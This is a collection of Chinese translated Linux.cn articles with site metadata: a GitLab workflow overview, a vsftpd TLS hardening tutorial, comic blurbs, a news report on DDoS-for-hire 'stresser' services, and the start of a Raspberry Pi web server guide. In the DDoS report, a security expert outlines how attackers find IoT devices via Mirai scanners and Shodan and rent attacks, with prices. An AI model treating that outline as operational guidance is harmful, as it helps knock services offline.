当你遵循 GitLab 工作流进行工作，你的团队从点子到产品，在每一个[过程的关键部分](https://about.gitlab.com/2016/09/21/cycle-analytics-feature-highlight/)，你将会在下列时间获得一个 [GitLab 周期分析](https://about.gitlab.com/solutions/cycle-analytics/)的反馈：
* **Issue**： 从创建一个工单，到分配这个工单给一个里程碑或者添加工单到你的工单看板的时间。
* **Plan**： 从给工单分配一个里程碑或者把它添加到工单看板，到推送第一次提交的时间。
* **Code**： 从第一次提交到提出该合并请求的时间。
* **Test**： CI 为了相关合并请求而运行整个过程的时间。
* **Review**： 从创建一个合并请求到合并它的时间。
* **Staging**： 从合并到发布成为产品的时间。
* **Production（Total）**： 从创建工单到把代码发布成[产品](https://docs.gitlab.com/ce/ci/yaml/README.html#environment)的时间。
### 加强
#### 工单以及合并请求模版
[工单以及合并请求模版](https://docs.gitlab.com/ce/user/project/description_templates.html)允许你为你的项目去定义一个特定内容的工单模版和合并请求的描述字段。
你可以以 [Markdown](https://docs.gitlab.com/ee/user/markdown.html) 形式书写它们，并且把它们加入仓库的默认分支。当创建工单或者合并请求时，可以通过下拉菜单访问它们。
它们节省了您在描述工单和合并请求的时间，并标准化了需要持续跟踪的重要信息。它确保了你需要的一切都在你的掌控之中。
你可以创建许多模版，用于不同的用途。例如，你可以有一个提供功能建议的工单模版，或者一个 bug 汇报的工单模版。在 [GitLab CE project](https://gitlab.com/gitlab-org/gitlab-ce/issues/new) 中寻找真实的例子吧！
#### 里程碑
[里程碑](https://about.gitlab.com/2016/08/05/feature-highlight-set-dates-for-issues/#milestones) 是 GitLab 中基于共同的目标、详细的日期追踪你队伍工作的最好工具。
不同情况下的目的是不同的，但是大致是相同的：你有为了达到特定的目标的工单的集合以及正在编码的合并请求。
这个目标基本上可以是任何东西——用来结合团队的工作，在一个截止日期前完成一些事情。例如，发布一个新的版本，启动一个新的产品，在某个日期前完成，或者按季度收尾一些项目。
### 专业技巧
#### 工单和 MR
* 在工单和 MR 的描述中:
+ 输入 `#` 来触发一个已有工单的下拉列表
+ 输入 `!` 来触发一个已有 MR 的下拉列表
+ 输入 `/` 来触发[斜线命令](https://docs.gitlab.com/ce/user/project/slash_commands.html)
+ 输入 `:` 来出发 emoji 表情 (也支持行中评论)
* 通过按钮“附加文件”来添加图片（jpg、png、gif) 和视频到行内评论
* 通过 [GitLab Webhooks](https://docs.gitlab.com/ce/web_hooks/web_hooks.html) [自动应用标签](https://about.gitlab.com/2016/08/19/applying-gitlab-labels-automatically/)
* [构成引用](https://about.gitlab.com/2016/07/22/gitlab-8-10-released/#blockquote-fence-syntax): 使用语法 `>>>` 来开始或者结束一个引用
```
>>>
Quoted text
Another paragraph
>>>
```
* 创建[任务列表](https://docs.gitlab.com/ee/user/markdown.html#task-lists)：
```
- [ ] Task 1
- [ ] Task 2
- [ ] Task 3
```
##### 订阅
你是否发现你有一个工单或者 MR 想要追踪？展开你的右边的导航，点击[订阅](https://about.gitlab.com/2016/03/22/gitlab-8-6-released/#subscribe-to-a-label)，你就可以在随时收到一个评论的提醒。要是你想要一次订阅多个工单和 MR？使用[批量订阅](https://about.gitlab.com/2016/07/22/gitlab-8-10-released/#bulk-subscribe-to-issues)。
##### 添加代办
除了一直留意工单和 MR，如果你想要对它预先做点什么，或者不管什么时候你想要在 GitLab 代办列表中添加点什么，点击你右边的导航，并且[点击**添加代办**](https://about.gitlab.com/2016/06/22/gitlab-8-9-released/#manually-add-todos)。
##### 寻找你的工单和 MR
当你寻找一个在很久以前由你开启的工单或 MR——它们可能数以十计、百计、甚至千计——所以你很难找到它们。打开你左边的导航，并且点击**工单**或者**合并请求**，你就会看到那些分配给你的。同时，在那里或者任何工单追踪器里，你可以通过作者、分配者、里程碑、标签以及重要性来过滤工单，也可以通过搜索所有不同状态的工单，例如开启的、合并的，关闭的等等。
#### 移动工单
一个工单在一个错误的项目中结束了？不用担心，点击**Edit**，然后[移动工单](https://about.gitlab.com/2016/03/22/gitlab-8-6-released/#move-issues-to-other-projects)到正确的项目。
#### 代码片段
你经常在不同的项目以及文件中使用一些相同的代码段和模版吗？创建一个代码段并且使它在你需要的时候可用。打开左边导航栏，点击**[Snipptes](https://gitlab.com/dashboard/snippets)**。所有你的片段都会在那里。你可以把它们设置成公开的，内部的（仅为 GitLab 注册用户提供），或者私有的。
### GitLab 工作流用户案例概要
作为总结，让我们把所有东西聚在一起理顺一下。不必担心，这十分简单。
让我们假设：你工作于一个专注于软件开发的公司。你创建了一个新的工单，这个工单是为了开发一个新功能，实施于你的一个应用中。
**标签策略**
为了这个应用，你已经创建了几个标签，“讨论”、“后端”、“前端”、“正在进行”、“展示”、“就绪”、“文档”、“营销”以及“产品”。所有都已经在工单看板有它们自己的列表。你的当前的工单已经有了标签“讨论”。
在工单追踪器中的讨论达成一致之后，你的后端团队开始在工单上工作，所以他们把这个工单的标签从“讨论”移动到“后端”。第一个开发者开始写代码，并且把这个工单分配给自己，增加标签“正在进行”。
**编码 & 提交**
在他的第一次提交的信息中，他提及了他的工单编号。在工作后，他把他的提交推送到一个功能分支，并且创建一个新的合并请求，在 MR 描述中，包含工单关闭模式。他的团队复审了他的代码并且保证所有的测试和建立都已经通过。
**使用工单看板**
一旦后端团队完成了他们的工作，他们就删除“正在进行”标签，并且把工单从“后端”移动到“前端”看板。所以，前端团队接到通知，这个工单已经为他们准备好了。
**发布到演示**
当一个前端开发者开始在该工单上工作，他（她）增加一个标签“正在进行”，并且把这个工单重新分配给自己。当工作完成，该实现将会被发布到一个**演示**环境。标签“正在进行”就会被删除，然后在工单看板里，工单卡被移动到“演示”列表中。
**团队合作**
最后，当新功能成功实现，你的团队把它移动到“就绪”列表。
然后，就是你的技术文档编写团队的时间了，他们为新功能书写文档。一旦某个人完成书写，他添加标签“文档”。同时，你的市场团队开始启动并推荐该功能，所以某个人添加“市场”。当技术文档书写完毕，书写者删除标签“文档”。一旦市场团队完成他们的工作，他们将工单从“市场”移动到“生产”。
**部署到生产环境**
最后，你将会成为那个为新版本负责的人，合并“合并请求”并且将新功能部署到**生产**环境，然后工单的状态转变为**关闭**。
**反馈**
通过[周期分析](https://about.gitlab.com/solutions/cycle-analytics/)，你和你的团队节省了如何从点子到产品的时间，并且开启另一个工单，来讨论如何将这个过程进一步提升。
### 总结
GitLab 工作流通过一个单一平台帮助你的团队加速从点子到生产的改变：
* 它是**有效的**：因为你可以获取你想要的结果
* 它是**高效的**：因为你可以用最小的努力和成本达到最大的生产力
* 它是**高产的**：因为你可以非常有效的计划和行动
* 它是**简单的**：因为你不需要安装不同的工具去完成你的目的，仅仅需要 GitLab
* 它是**快速的**：因为你不需要在多个平台间跳转来完成你的工作
每一个月的 22 号都会有一个新的 GitLab 版本释出，让它在集成软件开发解决方案上变得越来越好，让团队可以在一个单一的、唯一的界面下一起工作。
在 GitLab，每个人都可以奉献！多亏了我们强大的社区，我们获得了我们想要的。并且多亏了他们，我们才能一直为你提供更好的产品。
还有什么问题和反馈吗？请留言，或者在推特上@我们[@GitLab](https://twitter.com/gitlab)!
---
via: <https://about.gitlab.com/2016/10/25/gitlab-workflow-an-overview/>
作者：[Marcia Ramos](https://twitter.com/XMDRamos) 译者：[svtter](https://github.com/svtter) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
如何在 CentOS 7 中使用 SSL/TLS 加固 FTP 服务器进行安全文件传输
|
Aaron Kili
|
http://www.tecmint.com/secure-vsftpd-using-ssl-tls-on-centos/
|
在一开始的设计中，FTP（文件传输协议）就是不安全的，意味着它不会加密两台机器之间传输的数据以及用户的凭据。这使得数据和服务器安全面临很大威胁。
|
/data/attachment/album/201705/13/144319kawkl999bceegllw.jpg.thumb.jpg
|
/data/attachment/album/201705/13/144319kawkl999bceegllw.jpg
| true | false | true |
ictlyh
| false |
[
"SSL",
"SFTP",
"FTP"
] |
系统运维
|
{
"viewnum": 11259,
"commentnum": 2,
"favtimes": 3,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "112.97.60.196",
"message": "用FileZilla不如直接用SFTP就好了！还有，有没有命令行工具可以连接加密FTP？",
"username": "泽楠弟弟 [Safari 10.1|Mac 10.12]",
"date": "2017-05-13T22:00:26"
},
{
"postip": "182.109.22.129",
"message": "...你会公开分享服务器的SFTP账号？噗。。。FTP有自己的使用场景啊。。。",
"username": "来自江西九江的 Chrome Mobile 33.0|Android 4.4 用户",
"date": "2017-05-20T13:04:22"
}
] |
[
{
"raid": 8527,
"displayorder": 0
}
] |
在一开始的设计中，FTP（文件传输协议）就是不安全的，意味着它不会加密两台机器之间传输的数据以及用户的凭据。这使得数据和服务器安全面临很大威胁。
| 2017-05-13T14:43:00 | 2017-05-13T14:43:00 | 8,504 |
/article-8504-1.html
|
在一开始的设计中，FTP（文件传输协议）就是不安全的，意味着它不会加密两台机器之间传输的数据以及用户的凭据。这使得数据和服务器安全面临很大威胁。
在这篇文章中，我们会介绍在 CentOS/RHEL 7 以及 Fedora 中如何在 FTP 服务器中手动启用数据加密服务；我们会介绍使用 SSL/TLS 证书保护 VSFTPD（Very Secure FTP Daemon）服务的各个步骤。
#### 前提条件：
* 你必须已经[在 CentOS 7 中安装和配置 FTP 服务](/article-8527-1.html) 。
在我们开始之前，要注意本文中所有命令都以 root 用户运行，否则，如果现在你不是使用 root 用户控制服务器，你可以使用 [sudo 命令](http://www.tecmint.com/sudoers-configurations-for-setting-sudo-in-linux/) 去获取 root 权限。
### 第一步：生成 SSL/TLS 证书和密钥
1、 我们首先要在 `/etc/ssl` 目录下创建用于保存 SSL/TLS 证书和密钥文件的子目录：
```
# mkdir /etc/ssl/private
```
2、 然后运行下面的命令为 vsftpd 创建证书和密钥并保存到一个文件中，下面会解析使用的每个选项。
1. `req` - 是 X.509 Certificate Signing Request （CSR，证书签名请求）管理的一个命令。
2. `x509` - X.509 证书数据管理。
3. `days` - 定义证书的有效日期。
4. `newkey` - 指定证书密钥处理器。
5. `rsa:2048` - RSA 密钥处理器，会生成一个 2048 位的密钥。
6. `keyout` - 设置密钥存储文件。
7. `out` - 设置证书存储文件，注意证书和密钥都保存在一个相同的文件：/etc/ssl/private/vsftpd.pem。
```
# openssl req -x509 -nodes -keyout /etc/ssl/private/vsftpd.pem -out /etc/ssl/private/vsftpd.pem -days 365 -newkey rsa:2048
```
上面的命令会让你回答以下的问题，记住使用你自己情况的值。
```
Country Name (2 letter code) [XX]:IN
State or Province Name (full name) []:Lower Parel
Locality Name (eg, city) [Default City]:Mumbai
Organization Name (eg, company) [Default Company Ltd]:TecMint.com
Organizational Unit Name (eg, section) []:Linux and Open Source
Common Name (eg, your name or your server's hostname) []:tecmint
Email Address []:admin@tecmint.com
```
### 第二步：配置 VSFTPD 使用 SSL/TLS
3、 在我们进行任何 VSFTPD 配置之前，首先开放 990 和 40000-50000 端口，以便在 VSFTPD 配置文件中分别定义 TLS 连接的端口和被动端口的端口范围：
```
# firewall-cmd --zone=public --permanent --add-port=990/tcp
# firewall-cmd --zone=public --permanent --add-port=40000-50000/tcp
# firewall-cmd --reload
```
4、 现在，打开 VSFTPD 配置文件并在文件中指定 SSL 的详细信息：
```
# vi /etc/vsftpd/vsftpd.conf
```
找到 `ssl_enable` 选项把它的值设置为 `YES` 激活使用 SSL，另外，由于 TSL 比 SSL 更安全，我们会使用 `ssl_tlsv1_2` 选项让 VSFTPD 使用更严格的 TLS：
```
ssl_enable=YES
ssl_tlsv1_2=YES
ssl_sslv2=NO
ssl_sslv3=NO
```
5、 然后，添加下面的行来定义 SSL 证书和密钥文件的位置：
```
rsa_cert_file=/etc/ssl/private/vsftpd.pem
rsa_private_key_file=/etc/ssl/private/vsftpd.pem
```
6、 下面，我们要阻止匿名用户使用 SSL，然后强制所有非匿名用户登录使用安全的 SSL 连接进行数据传输和登录过程中的密码发送：
```
allow_anon_ssl=NO
force_local_data_ssl=YES
force_local_logins_ssl=YES
```
7、 另外，我们还可以添加下面的选项增强 FTP 服务器的安全性。当选项 `require_ssl_reuse` 被设置为 `YES` 时，要求所有 SSL 数据连接都会重用 SSL 会话；这样它们会知道控制通道的主密码。
因此，我们需要把它关闭。
```
require_ssl_reuse=NO
```
另外，我们还要用 `ssl_ciphers` 选项选择 VSFTPD 允许用于加密 SSL 连接的 SSL 算法。这可以极大地限制那些尝试发现使用存在缺陷的特定算法的攻击者：
```
ssl_ciphers=HIGH
```
8、 现在，设置被动端口的端口范围（最小和最大端口）。
```
pasv_min_port=40000
pasv_max_port=50000
```
9、 选择性启用 `debug_ssl` 选项以允许 SSL 调试，这意味着 OpenSSL 连接诊断会被记录到 VSFTPD 日志文件：
```
debug_ssl=YES
```
保存所有更改并关闭文件。然后让我们重启 VSFTPD 服务：
```
# systemctl restart vsftpd
```
### 第三步：用 SSL/TLS 连接测试 FTP 服务器
10、 完成上面的所有配置之后，像下面这样通过在命令行中尝试使用 FTP 测试 VSFTPD 是否使用 SSL/TLS 连接：
```
# ftp 192.168.56.10
Connected to 192.168.56.10 (192.168.56.10).
220 Welcome to TecMint.com FTP service.
Name (192.168.56.10:root) : ravi
530 Non-anonymous sessions must use encryption.
Login failed.
421 Service not available, remote server has closed connection
ftp>
```
*验证 FTP SSL 安全连接*
从上面的截图中，我们可以看到这里有个错误提示我们 VSFTPD 只允许用户从支持加密服务的客户端登录。
命令行并不会提供加密服务因此产生了这个错误。因此，为了安全地连接到服务器，我们需要一个支持 SSL/TLS 连接的 FTP 客户端，例如 FileZilla。
### 第四步：安装 FileZilla 以便安全地连接到 FTP 服务器
11、 FileZilla 是一个现代化、流行且重要的跨平台的 FTP 客户端，它默认支持 SSL/TLS 连接。
要在 Linux 上安装 FileZilla，可以运行下面的命令：
```
--------- On CentOS/RHEL/Fedora ---------
# yum install epel-release filezilla
--------- On Debian/Ubuntu ---------
$ sudo apt-get install filezilla
```
12、 当安装完成后（或者你已经安装了该软件），打开它，选择 File => Sites Manager 或者按 `Ctrl + S` 打开 Site Manager 界面。
点击 New Site 按钮添加一个新的站点/主机连接详细信息。
*在 FileZilla 中添加新 FTP 站点*
1. 下一步，像下面这样设置主机/站点名称、添加 IP 地址、定义使用的协议、加密和登录类型（使用你自己情况的值）：
```
Host: 192.168.56.10
Protocol: FTP – File Transfer Protocol
Encryption: Require explicit FTP over #recommended
Logon Type: Ask for password #recommended
User: username
```
*在 Filezilla 中添加 FTP 服务器详细信息*
14、 然后点击 Connect，再次输入密码，然后验证用于 SSL/TLS 连接的证书，再一次点击 `OK` 连接到 FTP 服务器：
*验证 FTP SSL 证书*
到了这里，我们应该使用 TLS 连接成功地登录到了 FTP 服务器，在下面的界面中检查连接状态部分获取更多信息。
*通过 TLS/SSL 连接到 FTP 服务器*
15、 最后，在文件目录尝试 [从本地传输文件到 FTP 服务器](http://www.tecmint.com/sftp-command-examples/)，看 FileZilla 界面后面的部分查看文件传输相关的报告。
*使用 FTP 安全地传输文件*
就是这些。记住 FTP 默认是不安全的，除非我们像上面介绍的那样配置它使用 SSL/TLS 连接。在下面的评论框中和我们分享你关于这篇文章/主题的想法吧。
---
作者简介：
Aaron Kili 是一个 Linux 和 F.O.S.S 的爱好者，Linux 系统管理员，网络开发员，目前也是 TecMint 的内容创作者，他喜欢和电脑一起工作，并且坚信共享知识。
---
via: <http://www.tecmint.com/secure-vsftpd-using-ssl-tls-on-centos/>
作者：[Aaron Kili](http://www.tecmint.com/author/aaronkili/) 译者：[ictlyh](https://github.com/ictlyh) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
极客漫画：Java 垃圾回收说明
|
Daniel Stori
|
https://turnoff.us/geek/java-gc-explained/
|
这篇漫画生动的解释了 Java 的垃圾回收机制：什么是垃圾回收（GC）、什么是并行垃圾回收以及什么是垃圾回收的标记清除算法。
|
/data/attachment/album/201705/14/173816yc4inpaxsxjzt4mj.png.thumb.jpg
|
/data/attachment/album/201705/14/173816yc4inpaxsxjzt4mj.png.large.jpg
| false | false | true |
bestony
| false |
[
"Java",
"漫画",
"垃圾回收"
] |
极客漫画
|
{
"viewnum": 7410,
"commentnum": 1,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "183.206.160.165",
"message": "沙发",
"username": "二次元萌控森 [Sogou Explorer 2|Windows 10]",
"date": "2017-05-14T10:54:00"
}
] |
[] |
这篇漫画生动的解释了 Java 的垃圾回收机制：什么是垃圾回收（GC）、什么是并行垃圾回收以及什么是垃圾回收的标记清除算法。
| 2017-05-14T10:50:00 | 2017-05-14T10:50:00 | 8,505 |
/article-8505-1.html
|
这篇漫画生动的解释了 Java 的垃圾回收机制：什么是垃圾回收（GC）、什么是并行垃圾回收以及什么是垃圾回收的标记清除算法。
如果你想更深入的了解，不妨看一下[垃圾回收](https://en.wikipedia.org/wiki/Garbage_collection_(computer_science)) 和[并行标记清除算法](https://en.wikipedia.org/wiki/Concurrent_mark_sweep_collector)。
---
via: <https://turnoff.us/geek/java-gc-explained/>
作者：[Daniel Stori](http://turnoff.us/about/) 译者&点评：[bestony](https://github.com/bestony) 校对&合成：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
极客漫画：精通正则表达式
|
Daniel Stori
|
https://turnoff.us/geek/mastering-regexp/
|
一个人希望掌握所有的正则表达式，却耗费了大量的时间，不知室外世事变迁，早已换了一个时代。
|
/data/attachment/album/201705/14/181853e3ete8ooee11evk7.png.thumb.jpg
|
/data/attachment/album/201705/14/181853e3ete8ooee11evk7.png.large.jpg
| false | false | true |
Bestony
| false |
[
"漫画",
"正则表达式"
] |
极客漫画
|
{
"viewnum": 10736,
"commentnum": 7,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "220.248.226.34",
"message": "。。。。。",
"username": "来自安徽合肥的 Firefox 53.0|Windows 10 用户",
"date": "2017-05-15T09:59:46"
},
{
"postip": "122.224.129.50",
"message": "对的，一个人不可能学会所有的东西，完全掌握，了解一点，用到的时候再去细查",
"username": "来自浙江杭州的 Chrome 57.0|Windows 7 用户",
"date": "2017-05-15T13:40:55"
},
{
"postip": "119.121.92.192",
"message": "POSIX那些正则真心记不住，只记住了那个lower和upper……",
"username": "泽楠弟弟 [Safari 10.1|Mac 10.12]",
"date": "2017-05-15T21:34:03"
},
{
"postip": "223.81.192.207",
"message": "<div class=\"quote\"><blockquote>开发并不要求你掌握所有的内容，更多的时候，你只要能够掌握一些常用的，在真正需要用到的时候，再去查询一些比较详细的、不常用的内容即可。毕竟，没有人要求你马上做完所有事情。</blockquote></div>这段话太对了！",
"username": "绿色圣光 [Firefox 45.0|GNU/Linux]",
"date": "2017-05-15T22:41:35"
},
{
"postip": "27.17.54.74",
"message": "这必须同意啊",
"username": "来自湖北武汉的 Chrome 58.0|Windows 10 用户",
"date": "2017-05-17T08:53:09"
},
{
"postip": "222.139.222.164",
"message": "莫名其妙。regex又不是多难的东西，相反，却是性价比最高的东西。这幅漫画倒是给了很多不愿下功夫学习regex的懒人一个很好的借口。",
"username": "来自河南南阳的 Maxthon 4.4|Windows 7 用户",
"date": "2017-05-18T01:17:55"
},
{
"postip": "111.201.14.82",
"message": "简单的正则谁都能学会，要是敢说精通——先看看《masting regex》 那本书有多厚吧。",
"username": "linux [Chrome 58.0|Mac 10.11]",
"date": "2017-05-18T08:06:25"
}
] |
[] |
一个人希望掌握所有的正则表达式，却耗费了大量的时间，不知室外世事变迁，早已换了一个时代。
| 2017-05-15T09:15:00 | 2017-05-15T09:15:00 | 8,506 |
/article-8506-1.html
|
一个人希望掌握所有的正则表达式，却耗费了大量的时间，不知室外世事变迁，早已换了一个时代。
这个漫画讽刺了一些初学者，希望掌握一些比较复杂的东西的所有内容后再去做事，却不知道，这些东西过于复杂，你花费的时间可能很快就一文不值，因为它们可能已经过时了。
开发并不要求你掌握所有的内容，更多的时候，你只要能够掌握一些常用的，在真正需要用到的时候，再去查询一些比较详细的、不常用的内容即可。毕竟，没有人要求你马上做完所有事情。
---
via: <https://turnoff.us/geek/mastering-regexp/>
作者：[Daniel Stori](http://turnoff.us/about/) 译者&点评：[Bestony](https://github.com/Bestony) 校对&合成：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
买个 DDoS 服务干掉你的对手
|
Ryan Francis
|
http://www.csoonline.com/article/3180246/data-protection/hire-a-ddos-service-to-take-down-your-enemies.html
|
随着物联网设备的普及，网络犯罪分子通过利用密码的缺陷而提供拒绝服务攻击。
|
/data/attachment/album/201705/14/194436o0d1e399hnlldtt0.jpg.thumb.jpg
|
/data/attachment/album/201705/14/194436o0d1e399hnlldtt0.jpg
| true | false | true |
kenxx
| false |
[
"DDoS",
"IoT",
"安全",
"攻击"
] |
观点
|
{
"viewnum": 13031,
"commentnum": 0,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[] |
[] |
随着物联网设备的普及，网络犯罪分子通过利用密码的缺陷而提供拒绝服务攻击。
| 2017-05-14T19:44:33 | 2017-05-14T19:44:33 | 8,507 |
/article-8507-1.html
|
>
> 随着物联网设备的普及，网络犯罪分子通过利用密码的缺陷而提供拒绝服务攻击。
>
>
>
随着物联网设备飞速发展，分布式拒绝服务（DDoS）攻击正在成为一种危险的趋势。就如 [DNS 服务商 Dyn 上年秋季之遭遇](http://csoonline.com/article/3135986/security/ddos-attack-against-overwhelmed-despite-mitigation-efforts.html) 一样，黑客似乎瞄上了每个人，使用未保护的物联网设备来轰炸网络的做法正在抬头。
可雇佣的 DDoS 攻击的出现意味着即使是最不精通技术的人都能精准报复某些网站。就像在柜台前面买个东西一样方便，然后就可以彻底搞定一个公司。
根据 [Neustar](https://ns-cdn.neustar.biz/creative_services/biz/neustar/www/resources/whitepapers/it-security/ddos/2016-apr-ddos-report.pdf) 的报告，四分之三的国际品牌、机构和公司都是 DDoS 攻击的受害者。[每天至少会发生 3700 起 DDoS 攻击](https://www.a10networks.com/resources/ddos-trends-report)。
睿科网络公司（A10 Networks）网络运营总监 Chase Cunningham 说：“想要找个可用的物联网设备，你只需要在地下网站四处打听一下 Mirai 扫描器代码，一旦你找到了，你将能够利用在线的每一台设备来进行攻击”。
“或者你可以去一些类似 Shodan 的网站，然后简单的搜一下设备特定的请求。当你得到这些信息之后，你就可以将你所雇佣的 DDoS 工具配置正确的流量模拟器类型、指向正确的目标并发动攻击。”
“几乎所有东西都是可买卖的。”他补充道，“你可以购买一个 ‘stresser’，这就是个随便哪个会点按钮的人都会使用的 DDoS 僵尸网络。”
网络安全提供商 Imperva 说，用户只需要出几十美金，就可以快速发动攻击。有些公司在它们的网站上说它们的工具包含肉鸡负载和 CnC（命令与控制）文件。使用这些工具，那些有点想法的肉鸡大师（或者被称为 herders）就可以开始传播恶意软件，通过垃圾邮件、漏洞扫描程序、暴力攻击等来感染设备。
大部分 [stresser 和 booter](https://www.incapsula.com/ddos/booters-stressers-ddosers.html) 都会有一个常见的、基于订阅服务的 SaaS（软件即服务）业务模式。来自 Incapsula 公司的 [Q2 2015 DDoS 报告](https://www.incapsula.com/blog/ddos-global-threat-landscape-report-q2-2015.html) 显示，在 DDoS 上的月均每小时花费是 38 美元（规模较低的是 19.99 美元）。
“stresser 和 booter 只是新世界的一个副产品，这些可以扳倒企业和机构的服务只能运作在灰色领域”，Imperva 写道。
虽然成本不同，但是企业受到的[各种攻击，每次损失在 1.4 万美元到 235 万美元之间](http://www.datacenterknowledge.com/archives/2016/05/13/number-of-costly-dos-related-data-center-outages-rising/)。而且企业受到一次攻击后，[有 82% 的可能性会再次受到攻击](http://www.networkworld.com/article/3064677/security/hit-by-ddos-you-will-likely-be-struck-again.html)。
<ruby> 物联网洪水攻击 <rp> （ </rp> <rt> DDoS of Things </rt> <rp> ） </rp></ruby>（DoT）使用物联网设备建立的僵尸网络可造成非常大规模的 DDoS 攻击。物联网洪水攻击会利用成百上千的物联网设备攻击，无论是大型服务提供商还是企业，均无幸免。
“大部分讲究声誉的 DDoS 卖家都会将他们的工具配置为可修改的，这样你就可以轻松地设置攻击的类型。虽然我还没怎么看到有哪些可以‘付费的’物联网流量模拟器的选项，但我敢肯定就要有了。如果是我来搞这个服务，我是绝对会加入这个选项的。”Cunningham 如是说。
由 IDG 新闻服务的消息可知，要建造一个 DDoS 服务也是很简单的。通常黑客会租用 6 到 12 个左右的服务器，然后使用它们随意的攻击任何目标。去年十月下旬，HackForums.net [关闭](http://www.pcworld.com/article/3136730/hacking/hacking-forum-cuts-section-allegedly-linked-to-ddos-attacks.html)了他们的“服务器压力测试”版块，这个做法就是考虑到黑客可能通过使用他们每月十美元的服务建造可雇佣的 DDoS 服务。
同样地在十二月时，美国和欧洲的执法机构 [逮捕](http://www.pcworld.com/article/3149543/security/dozens-arrested-in-international-ddos-for-hire-crackdown.html) 34个参与可雇佣的 DDoS 服务的嫌犯。
但是如果这很简单，怎么还没有经常发生攻击？
Cunningham 说这其实每时每刻都在发生，实际上每天每秒都在发生。他说：”你不知道它们的原因是因为大部分都是扰乱攻击，而不是大规模的、想要搞倒公司的攻击。“
他说，大部分的攻击平台只出售那些会让系统宕机一个小时或稍长一点的攻击。通常宕机一小时的攻击大概需要花费 15 到 50 美元。当然这得看平台，有些可能一小时就要花上百美元。
**减少这些攻击的解决方案是让用户把所有联网设备的出厂预置的密码改掉，然后还要禁用那些你不需要的功能。**
（题图：[Victor](https://www.flickr.com/photos/v1ctor/7606416730/)）
---
via: <http://www.csoonline.com/article/3180246/data-protection/hire-a-ddos-service-to-take-down-your-enemies.html>
作者：[Ryan Francis](http://www.csoonline.com/author/Ryan-Francis/) 译者：[kenxx](https://github.com/kenxx) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
如何用树莓派搭建个人 web 服务器
|
Mitchell Mclaughlin
|
https://opensource.com/article/17/3/building-personal-web-server-raspberry-pi-3
|
个人 Web 服务器即 “云”，只不过是你拥有和控制它，而不是一个大型公司。
拥有一个自己的云有很多好处，包括可定制、免费存储、免费的互联网服务、通往开源软件之路、高安全性、完全控制您的内容、快速更改的能力、实验代码的地方等等。
|
/data/attachment/album/201705/14/204010zy1j8yjjz30pv70v.png.thumb.jpg
|
/data/attachment/album/201705/14/204010zy1j8yjjz30pv70v.png
| true | false | true |
chenxinlong
| false |
[
"树莓派",
"Web"
] |
树莓派
|
{
"viewnum": 59812,
"commentnum": 1,
"favtimes": 2,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "183.206.14.34",
"message": "今天 我才发现 文章题目和内容 驴头不对马嘴！！！<br />\r\n<br />\r\n开始 怀疑 Linux.cn 文章质量",
"username": "不着调的小男生 [Sogou Explorer 2|Windows 10]",
"date": "2017-06-10T11:03:42"
}
] |
[] |
个人 Web 服务器即 “云”，只不过是你拥有和控制它，而不是一个大型公司。
拥有一个自己的云有很多好处，包括可定制、免费存储、免费的互联网服务、通往开源软件之路、高安全性、完全控制您的内容、快速更改的能力、实验代码的地方等等。
| 2017-05-14T20:40:00 | 2017-05-14T20:40:00 | 8,508 |
/article-8508-1.html
|
个人 Web 服务器即 “云”，只不过是你拥有和控制它，而不是一个大型公司。
拥有一个自己的云有很多好处，包括可定制、免费存储、免费的互联网服务、通往开源软件之路、高安全性、完全控制您的内容、快速更改的能力、实验代码的地方等等。 这些好处大部分是无法估量的，但在财务上，这些好处可以为您每个月节省超过 100 美元。
我本可以选择 AWS ，但我更喜欢完全自由且安全性可控，并且我可以学一下这些东西是如何搭建的。
* 私有 Web 托管：而非 BlueHost 或 DreamHost
* 云存储：而非 Dropbox、Box、Google Drive、Microsoft Azure、iCloud 或是 AWS
* 自主部署安全
* HTTPS：Let’s Encrypt
* 分析： Google
* OpenVPN：不需要专有互联网连接（预计每个月花费 $7）
我所使用的物品清单：
* 树莓派 3 代 Model B
* MicroSD 卡（推荐使用 32 GB， [兼容树莓派的 SD 卡](http://elinux.org/RPi_SD_cards)）
* USB microSD 卡读卡器
* 以太网络线
* 连接上 Wi-Fi 的路由器
* 树莓派盒子
* 亚马逊倍思的 MicroUSB 数据线
* 苹果的充电器
* USB 鼠标
* USB 键盘
* HDMI 线材
* 显示器 (支持接入 HDMI)
* MacBook Pro
### 步骤 1： 启动树莓派
下载最新发布的 Raspbian (树莓派的操作系统)。 [Raspbian Jessie](https://www.raspberrypi.org/downloads/raspbian/) 的 ZIP 包就可以用 [脚注 1]。解压缩或提取下载的文件然后把它拷贝到 SD 卡里。使用 [Pi Filler](http://ivanx.com/raspberrypi/) 可以让这些过程变得更简单。[下载 Pi Filer 1.3](http://ivanx.com/raspberrypi/files/PiFiller.zip) 或最新的版本。解压或提取下载文件之后打开它，你应该会看到这样的提示：
确保 USB 读卡器这时还没有插上。如果已经插上了那就先弹出。点 “Continue” 继续下一步。你会看到一个让你选择文件的界面，选择你之前解压缩后的树莓派系统文件。然后你会看到另一个提示，如图所示：
